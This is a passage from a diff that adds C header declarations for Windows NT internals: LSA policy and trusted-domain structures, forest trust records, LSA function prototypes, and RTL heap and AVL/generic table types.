POLICY_DOMAIN_KERBEROS_TICKET_INFO, *PPOLICY_DOMAIN_KERBEROS_TICKET_INFO; + +typedef enum _POLICY_NOTIFICATION_INFORMATION_CLASS { + + PolicyNotifyAuditEventsInformation = 1, + PolicyNotifyAccountDomainInformation, + PolicyNotifyServerRoleInformation, + PolicyNotifyDnsDomainInformation, + PolicyNotifyDomainEfsInformation, + PolicyNotifyDomainKerberosTicketInformation, + PolicyNotifyMachineAccountPasswordInformation, + PolicyNotifyGlobalSaclInformation, + PolicyNotifyMax // must always be the last entry + +} POLICY_NOTIFICATION_INFORMATION_CLASS, *PPOLICY_NOTIFICATION_INFORMATION_CLASS; + +typedef PVOID LSA_HANDLE, *PLSA_HANDLE; + +typedef enum _TRUSTED_INFORMATION_CLASS { + + TrustedDomainNameInformation = 1, + TrustedControllersInformation, + TrustedPosixOffsetInformation, + TrustedPasswordInformation, + TrustedDomainInformationBasic, + TrustedDomainInformationEx, + TrustedDomainAuthInformation, + TrustedDomainFullInformation, + TrustedDomainAuthInformationInternal, + TrustedDomainFullInformationInternal, + TrustedDomainInformationEx2Internal, + TrustedDomainFullInformation2Internal, + TrustedDomainSupportedEncryptionTypes, +} TRUSTED_INFORMATION_CLASS, *PTRUSTED_INFORMATION_CLASS; + +typedef struct _TRUSTED_DOMAIN_NAME_INFO { + + LSA_UNICODE_STRING Name; + +} TRUSTED_DOMAIN_NAME_INFO, *PTRUSTED_DOMAIN_NAME_INFO; + +typedef struct _TRUSTED_CONTROLLERS_INFO { + + ULONG Entries; + PLSA_UNICODE_STRING Names; + +} TRUSTED_CONTROLLERS_INFO, *PTRUSTED_CONTROLLERS_INFO; + +typedef struct _TRUSTED_POSIX_OFFSET_INFO { + + ULONG Offset; + +} TRUSTED_POSIX_OFFSET_INFO, *PTRUSTED_POSIX_OFFSET_INFO; + +typedef struct _TRUSTED_PASSWORD_INFO { + LSA_UNICODE_STRING Password; + LSA_UNICODE_STRING OldPassword; +} TRUSTED_PASSWORD_INFO, *PTRUSTED_PASSWORD_INFO; + +typedef LSA_TRUST_INFORMATION TRUSTED_DOMAIN_INFORMATION_BASIC; +typedef PLSA_TRUST_INFORMATION PTRUSTED_DOMAIN_INFORMATION_BASIC; + +#define TRUST_DIRECTION_DISABLED 0x00000000 +#define TRUST_DIRECTION_INBOUND 0x00000001 +#define TRUST_DIRECTION_OUTBOUND 0x00000002 +#define TRUST_DIRECTION_BIDIRECTIONAL (TRUST_DIRECTION_INBOUND | TRUST_DIRECTION_OUTBOUND) + +#define TRUST_TYPE_DOWNLEVEL 0x00000001 // NT4 and before +#define TRUST_TYPE_UPLEVEL 0x00000002 // NT5 +#define TRUST_TYPE_MIT 0x00000003 // Trust with a MIT Kerberos realm + +#if (_WIN32_WINNT < 0x0502) +#define TRUST_TYPE_DCE 0x00000004 // Trust with a DCE realm +#endif + +// Levels 0x5 - 0x000FFFFF reserved for future use +// Provider specific trust levels are from 0x00100000 to 0xFFF00000 + +#define TRUST_ATTRIBUTE_NON_TRANSITIVE 0x00000001 // Disallow transitivity +#define TRUST_ATTRIBUTE_UPLEVEL_ONLY 0x00000002 // Trust link only valid for uplevel client +#if (_WIN32_WINNT == 0x0500) +#define TRUST_ATTRIBUTE_TREE_PARENT 0x00400000 // Denotes that we are setting the trust + // to our parent in the org tree... +#define TRUST_ATTRIBUTE_TREE_ROOT 0x00800000 // Denotes that we are setting the trust + // to another tree root in a forest... +// Trust attributes 0x00000004 through 0x004FFFFF reserved for future use +// Trust attributes 0x00F00000 through 0x00400000 are reserved for internal use +// Trust attributes 0x01000000 through 0xFF000000 are reserved for user +#define TRUST_ATTRIBUTES_VALID 0xFF02FFFF +#endif + +#if (_WIN32_WINNT < 0x0502) +#define TRUST_ATTRIBUTE_FILTER_SIDS 0x00000004 // Used to quarantine domains +#else +#define TRUST_ATTRIBUTE_QUARANTINED_DOMAIN 0x00000004 // Used to quarantine domains +#endif + +#if (_WIN32_WINNT >= 0x0501) +#define TRUST_ATTRIBUTE_FOREST_TRANSITIVE 0x00000008 // This link may contain forest trust information +#if (_WIN32_WINNT >= 0x0502) +#define TRUST_ATTRIBUTE_CROSS_ORGANIZATION 0x00000010 // This trust is to a domain/forest which is not part of this enterprise +#define TRUST_ATTRIBUTE_WITHIN_FOREST 0x00000020 // Trust is internal to this forest +#define TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL 0x00000040 // Trust is to be treated as external for trust boundary purposes +#if (_WIN32_WINNT >= 0x0600) +#define TRUST_ATTRIBUTE_TRUST_USES_RC4_ENCRYPTION 0x00000080 // MIT trust with RC4 +#define TRUST_ATTRIBUTE_TRUST_USES_AES_KEYS 0x00000100 // Use AES keys to encrypte KRB TGTs +#endif +// Trust attributes 0x00000040 through 0x00200000 are reserved for future use +#else +// Trust attributes 0x00000010 through 0x00200000 are reserved for future use +#endif +// Trust attributes 0x00400000 through 0x00800000 were used previously (up to W2K) and should not be re-used +// Trust attributes 0x01000000 through 0x80000000 are reserved for user +#define TRUST_ATTRIBUTES_VALID 0xFF03FFFF +#endif +#define TRUST_ATTRIBUTES_USER 0xFF000000 + +typedef struct _TRUSTED_DOMAIN_INFORMATION_EX { + + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING FlatName; + PSID Sid; + ULONG TrustDirection; + ULONG TrustType; + ULONG TrustAttributes; + +} TRUSTED_DOMAIN_INFORMATION_EX, *PTRUSTED_DOMAIN_INFORMATION_EX; + +typedef struct _TRUSTED_DOMAIN_INFORMATION_EX2 { + + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING FlatName; + PSID Sid; + ULONG TrustDirection; + ULONG TrustType; + ULONG TrustAttributes; + ULONG ForestTrustLength; +#ifdef MIDL_PASS + [size_is( ForestTrustLength )] +#endif + PUCHAR ForestTrustInfo; + +} TRUSTED_DOMAIN_INFORMATION_EX2, *PTRUSTED_DOMAIN_INFORMATION_EX2; + +#define TRUST_AUTH_TYPE_NONE 0 // Ignore this entry +#define TRUST_AUTH_TYPE_NT4OWF 1 // NT4 OWF password +#define TRUST_AUTH_TYPE_CLEAR 2 // Cleartext password +#define TRUST_AUTH_TYPE_VERSION 3 // Cleartext password version number + +typedef struct _LSA_AUTH_INFORMATION { + + LARGE_INTEGER LastUpdateTime; + ULONG AuthType; + ULONG AuthInfoLength; + PUCHAR AuthInfo; +} LSA_AUTH_INFORMATION, *PLSA_AUTH_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_AUTH_INFORMATION { + + ULONG IncomingAuthInfos; + PLSA_AUTH_INFORMATION IncomingAuthenticationInformation; + PLSA_AUTH_INFORMATION IncomingPreviousAuthenticationInformation; + ULONG OutgoingAuthInfos; + PLSA_AUTH_INFORMATION OutgoingAuthenticationInformation; + PLSA_AUTH_INFORMATION OutgoingPreviousAuthenticationInformation; + +} TRUSTED_DOMAIN_AUTH_INFORMATION, *PTRUSTED_DOMAIN_AUTH_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION { + + TRUSTED_DOMAIN_INFORMATION_EX Information; + TRUSTED_POSIX_OFFSET_INFO PosixOffset; + TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; + +} TRUSTED_DOMAIN_FULL_INFORMATION, *PTRUSTED_DOMAIN_FULL_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION2 { + + TRUSTED_DOMAIN_INFORMATION_EX2 Information; + TRUSTED_POSIX_OFFSET_INFO PosixOffset; + TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; + +} TRUSTED_DOMAIN_FULL_INFORMATION2, *PTRUSTED_DOMAIN_FULL_INFORMATION2; + +typedef struct _TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES { + + ULONG SupportedEncryptionTypes; + +} TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES, *PTRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES; + +typedef enum { + + ForestTrustTopLevelName, + ForestTrustTopLevelNameEx, + ForestTrustDomainInfo, + ForestTrustRecordTypeLast = ForestTrustDomainInfo + +} LSA_FOREST_TRUST_RECORD_TYPE; + +#if (_WIN32_WINNT < 0x0502) +#define LSA_FOREST_TRUST_RECORD_TYPE_UNRECOGNIZED 0x80000000 +#endif + +// +// Bottom 16 bits of the flags are reserved for disablement reasons +// + +#define LSA_FTRECORD_DISABLED_REASONS ( 0x0000FFFFL ) + +// +// Reasons for a top-level name forest trust record to be disabled +// + +#define LSA_TLN_DISABLED_NEW ( 0x00000001L ) +#define LSA_TLN_DISABLED_ADMIN ( 0x00000002L ) +#define LSA_TLN_DISABLED_CONFLICT ( 0x00000004L ) + +// +// Reasons for a domain information forest trust record to be disabled +// + +#define LSA_SID_DISABLED_ADMIN ( 0x00000001L ) +#define LSA_SID_DISABLED_CONFLICT ( 0x00000002L ) +#define LSA_NB_DISABLED_ADMIN ( 0x00000004L ) +#define LSA_NB_DISABLED_CONFLICT ( 0x00000008L ) + +typedef struct _LSA_FOREST_TRUST_DOMAIN_INFO { + +#ifdef MIDL_PASS + PISID Sid; +#else + PSID Sid; +#endif + LSA_UNICODE_STRING DnsName; + LSA_UNICODE_STRING NetbiosName; + +} LSA_FOREST_TRUST_DOMAIN_INFO, *PLSA_FOREST_TRUST_DOMAIN_INFO; + + +#if (_WIN32_WINNT >= 0x0502) +// +// To prevent huge data to be passed in, we should put a limit on LSA_FOREST_TRUST_BINARY_DATA. +// 128K is large enough that can't be reached in the near future, and small enough not to +// cause memory problems. + +#define MAX_FOREST_TRUST_BINARY_DATA_SIZE ( 128 * 1024 ) +#endif + +typedef struct _LSA_FOREST_TRUST_BINARY_DATA { + +#ifdef MIDL_PASS + [range(0, MAX_FOREST_TRUST_BINARY_DATA_SIZE)] ULONG Length; + [size_is( Length )] PUCHAR Buffer; +#else + ULONG Length; + PUCHAR Buffer; +#endif + +} LSA_FOREST_TRUST_BINARY_DATA, *PLSA_FOREST_TRUST_BINARY_DATA; + +typedef struct _LSA_FOREST_TRUST_RECORD { + + ULONG Flags; + LSA_FOREST_TRUST_RECORD_TYPE ForestTrustType; // type of record + LARGE_INTEGER Time; + +#ifdef MIDL_PASS + [switch_type( LSA_FOREST_TRUST_RECORD_TYPE ), switch_is( ForestTrustType )] +#endif + + union { // actual data + +#ifdef MIDL_PASS + [case( ForestTrustTopLevelName, + ForestTrustTopLevelNameEx )] LSA_UNICODE_STRING TopLevelName; + [case( ForestTrustDomainInfo )] LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; + [default] LSA_FOREST_TRUST_BINARY_DATA Data; +#else + LSA_UNICODE_STRING TopLevelName; + LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; + LSA_FOREST_TRUST_BINARY_DATA Data; // used for unrecognized types +#endif + } ForestTrustData; + +} LSA_FOREST_TRUST_RECORD, *PLSA_FOREST_TRUST_RECORD; + +#if (_WIN32_WINNT >= 0x0502) +// +// To prevent forest trust blobs of large size, number of records must be +// smaller than MAX_RECORDS_IN_FOREST_TRUST_INFO +// + +#define MAX_RECORDS_IN_FOREST_TRUST_INFO 4000 +#endif + +typedef struct _LSA_FOREST_TRUST_INFORMATION { + +#ifdef MIDL_PASS + [range(0, MAX_RECORDS_IN_FOREST_TRUST_INFO)] ULONG RecordCount; + [size_is( RecordCount )] PLSA_FOREST_TRUST_RECORD * Entries; +#else + ULONG RecordCount; + PLSA_FOREST_TRUST_RECORD * Entries; +#endif + +} LSA_FOREST_TRUST_INFORMATION, *PLSA_FOREST_TRUST_INFORMATION; + +typedef enum { + + CollisionTdo, + CollisionXref, + CollisionOther + +} LSA_FOREST_TRUST_COLLISION_RECORD_TYPE; + +typedef struct _LSA_FOREST_TRUST_COLLISION_RECORD { + + ULONG Index; + LSA_FOREST_TRUST_COLLISION_RECORD_TYPE Type; + ULONG Flags; + LSA_UNICODE_STRING Name; + +} LSA_FOREST_TRUST_COLLISION_RECORD, *PLSA_FOREST_TRUST_COLLISION_RECORD; + +typedef struct _LSA_FOREST_TRUST_COLLISION_INFORMATION { + + ULONG RecordCount; +#ifdef MIDL_PASS + [size_is( RecordCount )] +#endif + PLSA_FOREST_TRUST_COLLISION_RECORD * Entries; + +} LSA_FOREST_TRUST_COLLISION_INFORMATION, *PLSA_FOREST_TRUST_COLLISION_INFORMATION; + + +// +// LSA Enumeration Context +// + +typedef ULONG LSA_ENUMERATION_HANDLE, *PLSA_ENUMERATION_HANDLE; + +// +// LSA Enumeration Information +// + +typedef struct _LSA_ENUMERATION_INFORMATION { + + PSID Sid; + +} LSA_ENUMERATION_INFORMATION, *PLSA_ENUMERATION_INFORMATION; + + +//////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy - Miscellaneous API function prototypes // +// // +//////////////////////////////////////////////////////////////////////////// + + +NTSTATUS +NTAPI +LsaFreeMemory( + IN OPTIONAL PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaClose( + IN LSA_HANDLE ObjectHandle + ); + +#if (_WIN32_WINNT >= 0x0600) + +typedef struct _LSA_LAST_INTER_LOGON_INFO { + LARGE_INTEGER LastSuccessfulLogon; + LARGE_INTEGER LastFailedLogon; + ULONG FailedAttemptCountSinceLastSuccessfulLogon; +} LSA_LAST_INTER_LOGON_INFO, *PLSA_LAST_INTER_LOGON_INFO; + +#endif + +#if (_WIN32_WINNT >= 0x0501) +typedef struct _SECURITY_LOGON_SESSION_DATA { + ULONG Size; + LUID LogonId; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING LogonDomain; + LSA_UNICODE_STRING AuthenticationPackage; + ULONG LogonType; + ULONG Session; + PSID Sid; + LARGE_INTEGER LogonTime; + + LSA_UNICODE_STRING LogonServer; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING Upn; + +#if (_WIN32_WINNT >= 0x0600) + + ULONG UserFlags; + + LSA_LAST_INTER_LOGON_INFO LastLogonInfo; + LSA_UNICODE_STRING LogonScript; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + + LARGE_INTEGER LogoffTime; + LARGE_INTEGER KickOffTime; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER PasswordCanChange; + LARGE_INTEGER PasswordMustChange; + +#endif +} SECURITY_LOGON_SESSION_DATA, * PSECURITY_LOGON_SESSION_DATA; + +NTSTATUS +NTAPI +LsaEnumerateLogonSessions( + OUT PULONG LogonSessionCount, + OUT PLUID * LogonSessionList + ); + +NTSTATUS +NTAPI +LsaGetLogonSessionData( + IN PLUID LogonId, + OUT PSECURITY_LOGON_SESSION_DATA * ppLogonSessionData + ); + +#endif +NTSTATUS +NTAPI +LsaOpenPolicy( + IN OPTIONAL PLSA_UNICODE_STRING SystemName, + IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE PolicyHandle + ); + + +NTSTATUS +NTAPI +LsaQueryInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaQueryDomainInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetDomainInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, + IN OPTIONAL PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaRegisterPolicyChangeNotification( + IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, + IN HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +LsaUnregisterPolicyChangeNotification( + IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, + IN HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +LsaEnumerateTrustedDomains( + IN LSA_HANDLE PolicyHandle, + IN OUT PLSA_ENUMERATION_HANDLE EnumerationContext, + OUT PVOID *Buffer, + IN ULONG PreferedMaximumLength, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaLookupNames( + IN LSA_HANDLE PolicyHandle, + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID *Sids + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +NTAPI +LsaLookupNames2( + IN LSA_HANDLE PolicyHandle, + IN ULONG Flags, // Reserved + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID2 *Sids + ); +#endif + +NTSTATUS +NTAPI +LsaLookupSids( + IN LSA_HANDLE PolicyHandle, + IN ULONG Count, + IN PSID *Sids, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_NAME *Names + ); + +#define SE_INTERACTIVE_LOGON_NAME TEXT("SeInteractiveLogonRight") +#define SE_NETWORK_LOGON_NAME TEXT("SeNetworkLogonRight") +#define SE_BATCH_LOGON_NAME TEXT("SeBatchLogonRight") +#define SE_SERVICE_LOGON_NAME TEXT("SeServiceLogonRight") +#define SE_DENY_INTERACTIVE_LOGON_NAME TEXT("SeDenyInteractiveLogonRight") +#define SE_DENY_NETWORK_LOGON_NAME TEXT("SeDenyNetworkLogonRight") +#define SE_DENY_BATCH_LOGON_NAME TEXT("SeDenyBatchLogonRight") +#define SE_DENY_SERVICE_LOGON_NAME TEXT("SeDenyServiceLogonRight") +#if (_WIN32_WINNT >= 0x0501) +#define SE_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeRemoteInteractiveLogonRight") +#define SE_DENY_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeDenyRemoteInteractiveLogonRight") +#endif + +NTSTATUS +NTAPI +LsaEnumerateAccountsWithUserRight( + IN LSA_HANDLE PolicyHandle, + IN OPTIONAL PLSA_UNICODE_STRING UserRight, + OUT PVOID *Buffer, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaEnumerateAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + OUT PLSA_UNICODE_STRING *UserRights, + OUT PULONG CountOfRights + ); + +NTSTATUS +NTAPI +LsaAddAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + IN PLSA_UNICODE_STRING UserRights, + IN ULONG CountOfRights + ); + +NTSTATUS +NTAPI +LsaRemoveAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + IN BOOLEAN AllRights, + IN LSA_UNICODE_STRING UserRights, + IN ULONG CountOfRights + ); + +/////////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy - Trusted Domain Object API function prototypes // +// // +/////////////////////////////////////////////////////////////////////////////// + +NTSTATUS +NTAPI +LsaOpenTrustedDomainByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE TrustedDomainHandle + ); + +NTSTATUS +NTAPI +LsaQueryTrustedDomainInfo( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid, + IN TRUSTED_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetTrustedDomainInformation( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid, + IN TRUSTED_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaDeleteTrustedDomain( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid + ); + +NTSTATUS +NTAPI +LsaQueryTrustedDomainInfoByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN TRUSTED_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetTrustedDomainInfoByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN TRUSTED_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaEnumerateTrustedDomainsEx( + IN LSA_HANDLE PolicyHandle, + IN OUT PLSA_ENUMERATION_HANDLE EnumerationContext, + OUT PVOID *Buffer, + IN ULONG PreferedMaximumLength, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaCreateTrustedDomainEx( + IN LSA_HANDLE PolicyHandle, + IN PTRUSTED_DOMAIN_INFORMATION_EX TrustedDomainInformation, + IN PTRUSTED_DOMAIN_AUTH_INFORMATION AuthenticationInformation, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE TrustedDomainHandle + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +NTAPI +LsaQueryForestTrustInformation( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + OUT PLSA_FOREST_TRUST_INFORMATION * ForestTrustInfo + ); + +NTSTATUS +NTAPI +LsaSetForestTrustInformation( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN PLSA_FOREST_TRUST_INFORMATION ForestTrustInfo, + IN BOOLEAN CheckOnly, + OUT PLSA_FOREST_TRUST_COLLISION_INFORMATION * CollisionInfo + ); + +// #define TESTING_MATCHING_ROUTINE +#ifdef TESTING_MATCHING_ROUTINE + +NTSTATUS +NTAPI +LsaForestTrustFindMatch( + IN LSA_HANDLE PolicyHandle, + IN ULONG Type, + IN PLSA_UNICODE_STRING Name, + OUT PLSA_UNICODE_STRING * Match + ); + +#endif +#endif + +// +// This API sets the workstation password (equivalent of setting/getting +// the SSI_SECRET_NAME secret) +// + +NTSTATUS +NTAPI +LsaStorePrivateData( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING KeyName, + IN OPTIONAL PLSA_UNICODE_STRING PrivateData + ); + +NTSTATUS +NTAPI +LsaRetrievePrivateData( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING KeyName, + OUT PLSA_UNICODE_STRING * PrivateData + ); + + +ULONG +NTAPI +LsaNtStatusToWinError( + IN NTSTATUS Status + ); + +#endif // _NTLSA_IFS_ +// 04.06.2011 - end + +// +// Driver entry management APIs. +// + +typedef struct _EFI_DRIVER_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG FriendlyNameOffset; + ULONG DriverFilePathOffset; + //WCHAR FriendlyName[ANYSIZE_ARRAY]; + //FILE_PATH DriverFilePath; +} EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY; + +typedef struct _EFI_DRIVER_ENTRY_LIST { + ULONG NextEntryOffset; + EFI_DRIVER_ENTRY DriverEntry; +} EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST; + +#define EFI_DRIVER_ENTRY_VERSION 1 +#define MAX_STACK_DEPTH 32 + +typedef struct _RTL_STACK_CONTEXT_ENTRY { + ULONG_PTR Address; // stack address + ULONG_PTR Data; // stack contents +} RTL_STACK_CONTEXT_ENTRY, * PRTL_STACK_CONTEXT_ENTRY; + +typedef struct _RTL_STACK_CONTEXT { + ULONG NumberOfEntries; + RTL_STACK_CONTEXT_ENTRY Entry[1]; +} RTL_STACK_CONTEXT, * PRTL_STACK_CONTEXT; + +typedef NTSTATUS + (NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( + IN PVOID Base, + IN OUT PVOID *CommitAddress, + IN OUT PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS +{ + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + +#define HEAP_SETTABLE_USER_VALUE 0x00000100 +#define HEAP_SETTABLE_USER_FLAG1 0x00000200 +#define HEAP_SETTABLE_USER_FLAG2 0x00000400 +#define HEAP_SETTABLE_USER_FLAG3 0x00000800 +#define HEAP_SETTABLE_USER_FLAGS 0x00000e00 + +#define HEAP_CLASS_0 0x00000000 // Process heap +#define HEAP_CLASS_1 0x00001000 // Private heap +#define HEAP_CLASS_2 0x00002000 // Kernel heap +#define HEAP_CLASS_3 0x00003000 // GDI heap +#define HEAP_CLASS_4 0x00004000 // User heap +#define HEAP_CLASS_5 0x00005000 // Console heap +#define HEAP_CLASS_6 0x00006000 // User desktop heap +#define HEAP_CLASS_7 0x00007000 // CSR shared heap +#define HEAP_CLASS_8 0x00008000 // CSR port heap +#define HEAP_CLASS_MASK 0x0000f000 + +struct _RTL_AVL_TABLE; + +typedef struct _RTL_SPLAY_LINKS { + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS; +typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS; + +typedef enum _TABLE_SEARCH_RESULT +{ + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS +{ + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +struct _RTL_AVL_TABLE; + +typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID FirstStruct, + IN PVOID SecondStruct + ); + +typedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN CLONG ByteSize + ); + +typedef VOID (NTAPI *PRTL_AVL_FREE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID Buffer + ); + +typedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID UserData, + IN PVOID MatchData + ); + +typedef + RTL_GENERIC_COMPARE_RESULTS + (NTAPI *PRTL_AVL_COMPARE_ROUTINE) ( + struct _RTL_AVL_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef + PVOID + (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE) ( + struct _RTL_AVL_TABLE *Table, + ULONG ByteSize + ); + + +typedef + NTSTATUS + (NTAPI *PRTL_AVL_MATCH_FUNCTION) ( + struct _RTL_AVL_TABLE *Table, + PVOID UserData, + PVOID MatchData + ); + +typedef + RTL_GENERIC_COMPARE_RESULTS + (NTAPI *PRTL_GENERIC_COMPARE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef + PVOID + (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + ULONG ByteSize + ); + +typedef + VOID + (NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID Buffer + ); + +typedef struct _RTL_BALANCED_LINKS +{ + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; + +typedef struct _RTL_AVL_TABLE +{ + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE; +typedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE; + +typedef struct _GENERATE_NAME_CONTEXT { + + USHORT Checksum; + BOOLEAN ChecksumInserted; + + UCHAR NameLength; // not including extension + WCHAR NameBuffer[8]; // e.g., "ntoskrnl" + + ULONG ExtensionLength; // including dot + WCHAR ExtensionBuffer[4]; // e.g., ".exe" + + ULONG LastIndexValue; + +} GENERATE_NAME_CONTEXT; +typedef GENERATE_NAME_CONTEXT *PGENERATE_NAME_CONTEXT; + +typedef struct _PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _PREFIX_TABLE_ENTRY *NextPrefixTree; + RTL_SPLAY_LINKS Links; + PSTRING Prefix; +} PREFIX_TABLE_ENTRY; +typedef 